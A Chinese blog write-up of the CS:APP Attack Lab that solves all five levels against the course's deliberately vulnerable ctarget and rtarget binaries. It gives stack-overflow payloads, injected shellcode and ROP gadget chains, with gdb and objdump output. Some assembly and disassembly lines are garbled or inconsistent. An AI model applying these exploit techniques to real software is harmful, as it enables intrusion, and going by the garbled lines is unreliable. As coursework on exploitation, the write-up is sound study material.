这是csapp实验室的第三个lab,关于c语言中栈溢出的实验,需要通过所给的文件和实验文档使用栈溢出的手法来实现对程序流程的控制

官方实验文档地址:http://csapp.cs.cmu.edu/3e/attacklab.pdf

文件目录结构

1
2
3
4
5
6
7
├── attacklab.pdf
├── cookie.txt
├── ctarget
├── farm.c
├── hex2raw
├── README.txt
└── rtarget

ctargetrtarget两个存在漏洞的文件,hex2rawexploit转化文件,具体用法为(这些在pdf中都有讲到),不在过多赘述

1
2
# hex2raw使用方式
linux>./hex2raw < payload.txt

ctarget

通用的test函数,用于接收用户输入

1
2
3
4
5
6
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}

level-1

1
2
3
4
5
6
7
8
// touch1 function source code
void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}

gdb调试确定偏移,字符串溢出长度为0x28

1
2
3
  0x4017a8 <getbuf>       sub    rsp, 0x28
0x4017ac <getbuf+4> mov rdi, rsp <0x7ffff7f874d0>
0x4017af <getbuf+7> call Gets <Gets
1
2
3
4
00:0000│ rdi rsp 0x7ffffff8e440 ◂— 0x0
... ↓ 3 skipped
04:00200x7ffffff8e460 —▸ 0x7fffffffe158 —▸ 0x7fffffffe452
05:00280x7ffffff8e468 —▸ 0x401976 (test+14) ◂— mov edx, eax

栈结构表示为

1
2
3
4
5
6
7
8
9
10
11
12
13
+-------------------+
| aa.. | <------ rsp
|-------------------|
| bb.. |
|-------------------|
| cc.. |
|-------------------|
| dd.. |
|-------------------|
| ee.. |
|-------------------|
| | <------ ret 0x401976 (rsp+0x28)
+-------------------+

使用长度40的填充字符串,加上touch1函数的地址即可覆盖原返回地址,执行touch1函数

1
2
3
4
5
6
7
# touch1_exp.txt
61 61 61 61 61 61 61 61
62 62 62 62 62 62 62 62
63 63 63 63 63 63 63 63
64 64 64 64 64 64 64 64
65 65 65 65 65 65 65 65
c0 17 40 00 00 00 00 00

结果

1
2
3
4
5
6
7
8
9
linux> ./hex2raw < touch1_exp.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:61 61 61 61 61 61 61 61 62 62 62 62 62 62 62 62 63 63 63 63 63 63 63 63 64 64 64 64 64 64 64 64 65 65 65 65 65 65 65 65 C0 17 40 00 00 00 00 00

level-2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//touch2 func src
void touch2(unsigned val)

{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}

这一关使用代码注入,首先需要控制函数的参数,在64位函数中,参数的调用如果寄存器够用先用寄存器传递参数,传递参数的寄存器使用顺序依次为rdi, rsi, rdx, rcx, r8, r9,注入的汇编代码如下。

1
2
3
movq $0x59b997fa, %rdi #将cookie值保存在%rdi中,也是64位函数中的地一个参数
pushq $0x4017ec #将touch2的函数地址压入栈中
retq #ret指令可以看成两句汇编代码:popq %rdi, sub $8, %rsp

将汇编代码编译成二进制代码,并且用objdump查看机器码

1
2
3
4
5
6
7
8
9
10
11
12
linux>gcc -c exp.s
linux>objdump -d exp.o

exp.o: file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 mov $0x59b997fa,%rdi
c: c3 ret

在注入代码构造好之后,我们的第一次跳转就需要跳转到栈上执行我们的汇编代码,这里实验作者降低了难度,没有开启栈随机化,所以可以通过gdb调试得到注入的汇编代码开始处的栈地址。调试得到的栈地址为0x5561dc78

1
2
3
4
04:0020│ r12         0x5561dc78 ◂— mov    rdi, 0x59b997fa /* 0x6859b997fac7c748 */
05:0028│ 0x5561dc80 ◂— in al, dx /* 0xc3004017ec */
06:0030│ 0x5561dc88 ◂— 0
07:0038│ rbx-1 rbp-1 0x5561dc90 ◂— 0

下面是栈中结构以及流程图

1
2
3
4
5
6
7
8
0x5561dc78 -> 48 c7 c7 fa 97 b9 59  mov    $0x59b997fa,%rdi
68 ec 17 40 00 mov $0x59b997fa,%rdi
c3 ret
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00
78 dc 61 55 00 00 00

最后结果

1
2
3
4
5
6
7
8
9
linux> ./hex2raw < touch2_exp.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 63 63 63 63 63 63 63 63 64 64 64 64 64 64 64 64 65 65 65 65 65 65 65 65 00 78 DC 61 55 00 00 00 00

level-3

1
2
3
4
5
6
7
8
9
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
//touch3 func src
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

阅读touch3的源码,理解到这个函数需要我们传入一个字符串指针作为参数,这次需要将cookie的16进制的字符串一起写入到exploit-raw

1
2
# 59b997fa的16进制字符串,注意因为是字符串,末尾需要加0
35 39 62 39 39 37 66 61 00

编写思路:将字符串写入栈中,因为栈中地址不会变化,在通过调试获取字符串地址。获取字符串地址后,就和level-2的思路一样了,exploit结构如下图

注入代码如下,由于第一次不知道地址偏移(其实可以计算出来,但是最简单的方式还是调试),先随便写然后调试

1
2
3
movq str_addr, %rdmovq str_addr, %rdi
push $0x4018fa
retq

调试结果如下,观察到字符串的首地址为0x5561dca8

1
2
3
4
5
6
7
pwndbg> 
08:0040│ 0x5561dc98 ◂— 0
09:0048│ 0x5561dca0 —▸ 0x5561dc78 ◂— mov rdi, 0x5561dca8 /* 0x685561dca8c7c748 */
0a:0050│ 0x5561dca8 ◂— xor eax, 0x39396239 /* 0x6166373939623935; '59b997fa' */
0b:0058│ rbx-1 rbp-1 0x5561dcb0 —▸ 0x400000 ◂— jg 0x400047
0c:0060│ 0x5561dcb8 ◂— 0
0d:0068│ 0x5561dcc0 ◂— hlt /* 0xf4f4f4f4f4f4f4f4 */

得到了字符串在栈中的地址,那么我们就能够写出完整的exploit,编译exploit后使用objdump查看

1
2
3
4
# 完整exploit
movq $0x5561dca8, %rdmovq str_addr, %rdi
push $0x4018fa
retq
1
2
3
4
0000000000000000 <.text>:
0: 48 c7 c7 85 dc 61 55 mov $0x5561dc85,%rdi
7: 68 fa 18 40 00 push $0x4018fa
c: c3 ret

结果

1
2
3
4
5
6
7
8
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00

rtarget

了解ROP

这两关需要我们学习ROP(面向返回编程),文件rtargetctarget内容是一致的,只是rtarget在编译时开启了栈随机化栈不可执行,所以往栈里面写汇编代码的思路就断了,这时就需要使用ROP(使用现有代码),寻找一小段我们需要的汇编代码拼凑成一截完整的exploit

image-20220228193845206

举一个例子,将下面这段c语言编译成机器语言,并且使用objdump查看

1
2
3
4
void setval_210(unsigned *p)
{
*p = 3347663060U;
}
1
2
3
4
5
6
7
0000000000000000 <setval_210>:
0: 55 push %rbp
......
c: c7 00 d4 48 89 c7 movl $0xc78948d4,(%rax)
12: 90 nop
13: 5d pop %rbp
14: c3 ret

字节片段48 89 c7编码过后就是movq %rax, %rdi,我们可以截取这些特殊的字节片段来实现ROP,这个指令开始的位置就是0xF(直接编译的文件没有基地值)。在寻找ROP链之前首先将rtarget文件的objdump保存,使用命令objdump -d rtarget > rtarget.d

寻找ROP链需要对机器码比较熟悉才行,还好作者提前为我们准备了这几张表

level-2

函数就是touch2,但是这次不能在栈中执行代码了,但是通过布置栈中结构,可以使用pop指令改变寄存器。栈结构布置如下图

寻找这两条指令,popq %rax retq的机器码为:58 c3

movq %rax, %rdi retq机器码为:48 89 c7 c3

通过搜索找到这两条汇编指令

1
2
3
4
5
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax

00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax

找到两个ROP的地址为0x4019cc0x4019a2,当然ROP链不是唯一的,也有其他的链子,这里不去深究。

结果

1
2
3
4
5
6
7
8
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

level-3

这最后一关最大的困难点在于字符串的首地址不好确定,既然无法确定字符串的绝对地址,那么就确定字符串在栈中距离rsp的相对偏移,初步构造的ROP的汇编代码如下。

1
2
3
movq %rsp, %rax
add %str_off, %rax
movq %rax, %rdi

看似很简单,但是add这条指令在dump文件中无法找到,但是在寻找的时候发现了这样一条指令。

1
2
3
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 ret

整个文件中只有这一条指令是用来操作寄存器计算的,那么重新组织汇编代码(这里省略了ret指令),第一步本来想用movq %rsp, %rdi这条指令的,但是在文件中无法找到,于是分两步代替。

1
2
3
4
5
movq %rsp, %rax
movq %rax, %rdi
popq %rsi
lea (%rdi,%rsi,1),%rax
movq %rax, %rdi

在文件中找到如下代码片段,确定每条指令的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# movq %rsp, %rax
# 指令地址:0x401a06
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 ret

# movq %rax, %rdi
# 指令地址:0x4019a2
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax

# popq %rsi
# 指令地址:0x401383
401382: 41 5e pop %r14

# lea (%rdi,%rsi,1),%rax
# 指令地址:0x4019d6
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 ret

此时栈结构布置如下

结果

1
2
3
4
5
6
7
8
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 83 13 40 00 00 00 00 00 30 00 00 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00

总结

这些基本的栈溢出知识在以前学pwn的时候都有过了解,本以为会很轻松,但是在实际上手操作时还是感觉很有挑战性,特别是在做关于ROP的时候,以前做pwn都是直接用工具寻找rop链,从来没有自己去寻找过,这次通过自己寻找rop链感受颇深。